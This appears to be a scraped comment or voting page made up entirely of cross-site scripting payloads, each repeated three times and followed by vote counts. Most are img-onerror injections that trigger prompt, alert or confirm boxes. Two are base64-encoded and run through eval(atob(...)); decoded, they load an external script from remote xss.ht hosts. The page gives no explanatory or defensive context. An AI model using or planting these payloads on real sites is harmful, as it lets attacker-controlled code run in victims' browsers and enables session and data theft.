/><img src=x onerror=prompt(1)>

/><img src=x onerror=prompt(1)>

/><img src=x onerror=prompt(1)>

1👍 2👎

"><img src=x onerror=confirm("Hackerone POC by PMOC")>

"><img src=x onerror=confirm("Hackerone POC by PMOC")>

"><img src=x onerror=confirm("Hackerone POC by PMOC")>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

'"><img src=1 onerror=prompt(1)><script>prompt(1)</script>

'"><img src=1 onerror=prompt(1)><script>prompt(1)</script>

'"><img src=1 onerror=prompt(1)><script>prompt(1)</script>

10👍 2👎

<h1>asd</h1>asdasd"><img src=1 onerror=prompt(1)>

<h1>asd</h1>asdasd"><img src=1 onerror=prompt(1)>

<h1>asd</h1>asdasd"><img src=1 onerror=prompt(1)>

37👍 31👎

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2VyaXJvbi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2VyaXJvbi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2VyaXJvbi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

1👍 1👎

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vem9uZHV4c3MueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vem9uZHV4c3MueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vem9uZHV4c3MueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))>

13👍 5👎